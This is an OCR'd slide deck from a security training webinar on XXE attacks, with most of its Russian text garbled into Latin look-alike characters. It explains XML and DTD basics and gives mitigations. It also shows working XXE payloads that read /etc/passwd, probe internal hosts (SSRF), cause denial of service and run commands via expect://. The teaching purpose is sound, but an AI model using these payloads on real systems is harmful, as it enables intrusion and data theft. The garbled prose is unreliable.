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XML External Entities

= Mapxomeu MaBen

Penetration tester
Awillix LLC

- W r: gremlin_97




MaBen Napxowmey
Yandex hall of fame
Awillix LLC (CneumanncT no TeECTUPOBAHUIO HA MPOHNKHOBEHME)

[MobeguTens mexxayHapoaHbix KoHKypcoB HITB Al Challenge n
Kaspersky SecurlT Cup’19

PaspabaTbiBato Kypc no MHopmaunoHHOM 6e3onacHOCTU ONA
nnuenctos npmn HAAY MNON

TpeHep KoMaHpg, No HacTynaTenbHOM 6e30MacHOCTU

Cneunannsupyocb Ha aKcnayaTauum yasBUMoCTeN BED-
NPUIOXKEHN

CTF wurpok (SploitOOn, Eun014)
eJPT, OSCP, eWPT



[lpaBuna BedbuHapa

AKTVBHO y4acTByeMm

3agaem BOrpocC B 4aT N1 FOJZI0OCOM

Off-topic obeyxpaem B Slack #kaHan rpynnel nnn #general

Bonpockl BMXY B 4aTe, MOry OTBETUTb He cpasy



[lnaH BeGuHapa

1) XML
2)Cytb ataku XXE

3) CMmoTpuMm 06bsSAICHEHMe owasp app sec



Llenun BeOGuHapa

1 [MOHATL NPUNYNHbl BOSHNKHOBEHWA

2 Y3HaTb nocnencTeue



Cwmbicn | 3a4yem Bam 9TO YMETb

1 CospaBaTb 6e30mnacHble NPUIoXeEHUA

2 MomoraTb cospnaBaTb 6e30nacHble NPUITIOXEHUA



XML | Y10 310?

eXtensible Markup Language

HTML 1 XML 1
<hl>title</hl> <headline>title</headline>
<p>paragraph</p> <paragraph>paragraph<paragraph>
<p>paragraph</p> <paragraph>paragraph<paragraph>
HTML 2 XML 2
<hl>title</hl> <chief>title</chief>
<p>paragraph</p> <paragraph>paragraph<paragraph>
<p>paragraph</p> <paragraph>paragraph<paragraph>




XML | Ana yero?

<?xml version="1.0" encoding="UTF-8"7>

<book>
<title>Harry Potter and the Philosopher’s Stone</title>
<author>J. K. Rowling</author>
<year>1997</year>

</book>
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XML | Kak ycTpoeH?

<book>
</book>




XML | Kak ycTpoeH?
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<?xml version="1.0" encoding="UTF-8"7?7>
<carstore>
<car category="truck">
<model lang="en">Scania R 770</model>
<year>2005</year>
<price currency="US dollar">200000.00</price>
</car>
<car category="sedan">
<title lang="en">Ford Focus</title>
<year>2012</year>
<price currency="US dollar">20000.00</price>
</car>
<car category="sport">
<title lang="en">Ferrari 360 Spider</title>
<year>2018</year>
<price currency="US dollar">150000.00</price>
</car>
</carstore>




XML | Kak ycTpoeH?

1 <model lang="en'>Scania R 770</model>

1 <price currency="US dollar">150000.00</price>

1 <?xml version="1.0" encoding="UTF-8"7?>
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XML | Kak ycTpoeH?

CTtapas:

<?xml version="1.0" encoding="UTF-8"?7>
<carstore>
<car category="truck">
<model lang="en'>Scania R 770</model>
<year>2005</year>
<price currency="US dollar">200000.00</price>
</car>
<car category="sedan">
<title lang="en">Ford Focus</title>
<year>2012</year>
<price currency="US dollar">20000.00</price>
</car>
<car category="sport">
<title lang="en">Ferrari 360 Spider</title>
<year>2018</year>
<price currency="US dollar">150000.00</price>
</car>
</carstore>

PaclumpeHHas:
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<?xml version="1.0" encoding="UTF-8"7>
<carstore>
<car category="truck">
<model lang="en">Scania R 770</model>
<year>2005</year>
<price currency="US dollar'">200000.00</price>
</car>
<car category="sedan">
<title lang="en">Ford Focus</title>
<year>2012</year>
<price currency="US dollar'">20000.00</price>
</car>
<car category="sport">
<title lang="en">Ferrari 360 Spider</title>
<year>2018</year>
<price currency="US dollar">150000.00</price>
</car>
<motorcycle>
<title lang="en'">Yamaha YZF-R6</title>
<year>2018</year>
<price currency="Russian Ruble'">1000000.00</price>
<owner>Vasia</owner>

</motorcycle>

<motorcycle>
<title lang="en">Harley Davidson Sportster 1200</title>
<year>201l</year>
<price currency="Euro">15000.00</price>
<owner>Petia</owner>

</motorcycle>

</carstore>




XML | Otnunume ot HTML

HTML — ana pasameTku Be6-cTpaHuL

XML — ana xpaHeHus U nepegavm nHcpopmaumm



XML | PaspewieHne KOH(pIMKTOB
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<?xml version="1.0" encoding="UTF-8"7>
<carstore>
<car category="truck'">
<model lang="en">Scania R 770</model>
<year>2005</year>
<price currency="US dollar">200000.00</price>
</car>
<car category="sedan'">
<title lang="en">Ford Focus</title>
<year>2012</year>
<price currency="US dollar">100.00</price>
</car>
</carstore>




XML | PaspewieHne KOH(pIMKTOB

<real:car category="truck">
<model lang="en">Scania R 770</model>
<year>2005</year>
<price currency="US dollar">200000.00</price>
</real:car>
<toy:car category="sedan">
<title lang="en">Ford Focus</title>
<year>2012</year>
<price currency="US dollar">100.00</price>
</toy:car>
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XML | OcHoBHble cTaHpapTbl XML

CrtaHpgapTtbl XML — 310 HaGop pacwumpeHuu, Kotopblie npuaaroT xml-channam AononHUTENbHbIE BO3MOXHOCTMU.

DTD («document type definition») — no3sonseT onpenennTb CINCOK pa3peLleHHbIX 3f1IEMEHTOB A9 KaKOMN-TO CYLLHOCTU
B XML-chavne.



XML | DTD
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<?xml version="1.0"7>

<!DOCTYPE book [
<!ELEMENT book (title,author,year)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
1>

<book>
<title>The Lord of The Rings</title>
<author>John R.R. Tolkien</author>
<year>1954</year>

</book>




XML | DTD

1 <book>

2 <title>The Lord of The Rings</title>
3 <author>John R.R. Tolkien</author>

4 <year>1954</year>

5 <mainhero>Frodo Baggins</mainhero>

6 </book>

Element mainhero is not allowed here



KomnbioTepHana aTtaka, OCHOBaHHaA Ha HegocTaTo4yHou nposepke BxoaAawero XML-gpanna. Ecnn cuctema cnocobHa npuHUMaTb
OaHHble B 9TOM chopmaTe, 3M0YMbILNEHHNK MOXET BKIIOUYNTb B NepefaBaeMblil JOKYMEHT CCbISIKY Ha BHELLHME 0ObEeKThI NU
NoKasnbHbIE PECYpChl LienieBon cnuctembl. B cnydae cnabon npoBepKu coaep >XMMOro rnosie3Hana Harpyska OyaeT goctaBneHa Ha
LefnieBoe YCTPOMCTBO M UCMNOMb30BaHa as1Aa nocneayowen BpeaoHOCHON akTMBHOCTU. Kpome Toro, Yepe3 XXE-aTaky
3N10YMbILMEHHUK MOXXET NOSTYYNTb AOCTYN K KOH(pbnaeHuManbHbiM aHHbIM, XPaHALLMMCA HA CKOMNPOMETMPOBAHHOM YCTPOMCTBE.
(Kaspersky)



XXE | Bo3HuUkKHoBeHue

<?xml version="1"?>

xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>X iy
</productId></stockCheck

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
\1 www-data:x:33:33:www-data:/var/www:/bin/sh

[: “ backup:x:34:34:backup:/var/backups:/bin/sh




XXE | Nepepa4vya BHeWHeN CYyLHOCTMH

<?xml version="1.0" encoding="UTF-8"7>
<stockCheck><productId>381</productId></stockCheck>

<?xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>



XXE | Nepepa4vya BHeWHeN CYyLHOCTMH

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin



XXE | Y10 ewie?

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
«http://internal.vulnerable-website.com/"> ][>



XXE | SSRF

<?xml version="1.0" encoding="IS0-8859-1"7>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
<foo>&xxe;</foo>



XXE | Xinclude

<foo xmlns:xi="http://www.w3.0rg/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>



XXE | yepes 3arpysky nsoopaxeHum

POST /action HTTP/1.0
Content-Type: application/x-www—form-urlencoded
Content-Length: 7

foo=bar

To MOXHO OTNpaBUTb ClegywwuMi 3anpoc C TeM Xe pe3yNbTaToM:
POST /action HTTP/1.0

Content-Type: text/xml

Content-Length: 52

<?xml version="1.0" encoding="UTF-8"7><foo>bar</foo>



XXE | DOS

<?xml version="1.0" encoding="IS0-8859-1"7>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe; </foo>

<!ENTITY dos SYSTEM «c:\pagefile.sys">



XXE | RCE

<?xml version="1.0" encoding="IS0-8859-1"7>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>

<user>&xxe;</user>

<pass>mypass</pass>
</creds>



XXE | Utor

Utoro, XXE moXxeT Bbi3BaTb cnepyrowme nocrecrBus:
o disclosure of internal files

SSRF

internal port scanning

remote code execution

denial of service attacks

O O O O



XXE | NMouck

ABTOMaTU3NPOBAHHbIN:
- burp suite

Py4Hou:

- TectMpoBaHue Ha ussriedyeHne gpannos Yepes DTD

- TectMpoBaHue Ha usBreyeHne gpannos Yepes Xinclude
- TectupoBanue cnenbix XXE - BHewHun URL



XXE | YcTpaHeHue

- O6HOBUTL Napcep
- 3anpetutb obbasneHne DTD
- OTKNIOYUTb UCNOMb30BaAHNE BHELLUHUX CYLLHOCTEN



XXE | Mpumep

https://application.security/free-application-security-training/owasp-top-10-xml-entity-injection



Pednekcusa

C KaKnMn OCHOBHbIMU MbICIAMU U MHCaAUTaMN
yxooute c BebuHapa?

*x

? OocTturnn nu Bbl Lenn BedbmHapa?
o



Cnepnyrowmmn se6uHap

Tema: Yassumoctu OAuth2, HTTP Response Splitting

oo 28.08

6@? Ccbinka Ha BebuHap 6ynet B JIK 3a 15 MUHYT

;———' MaTepunanbl K 3aHATUIO Ob6asaTenbHbIN
gj B JIK — MO>XHO maTepuan obosHayeH

n3ydvyatb KpacHON NeHTOoW



Cnucok matepuanoB AJ1A U3y4YeHUA

https://application.security/free-application-security-training/owasp-top-10-xml-entity-injection
https://habr.com/ru/company/owasp/blog/325270/
https://encyclopedia.kaspersky.ru/glossary/xxe-xml-external-entity/

https://www.root-me.org/en/Challenges/Web-Server/XML-External-Entity?action_solution=voir&debut_affiche solutions=1#pagination_affiche_solutions



https://application.security/free-application-security-training/owasp-top-10-xml-entity-injection
https://habr.com/ru/company/owasp/blog/325270/
https://encyclopedia.kaspersky.ru/glossary/xxe-xml-external-entity/
https://www.root-me.org/en/Challenges/Web-Server/XML-External-Entity?action_solution=voir&debut_affiche_solutions=1#pagination_affiche_solutions
https://application.security/free-application-security-training/owasp-top-10-xml-entity-injection
https://habr.com/ru/company/owasp/blog/325270/
https://encyclopedia.kaspersky.ru/glossary/xxe-xml-external-entity/
https://www.root-me.org/en/Challenges/Web-Server/XML-External-Entity?action_solution=voir&debut_affiche_solutions=1#pagination_affiche_solutions
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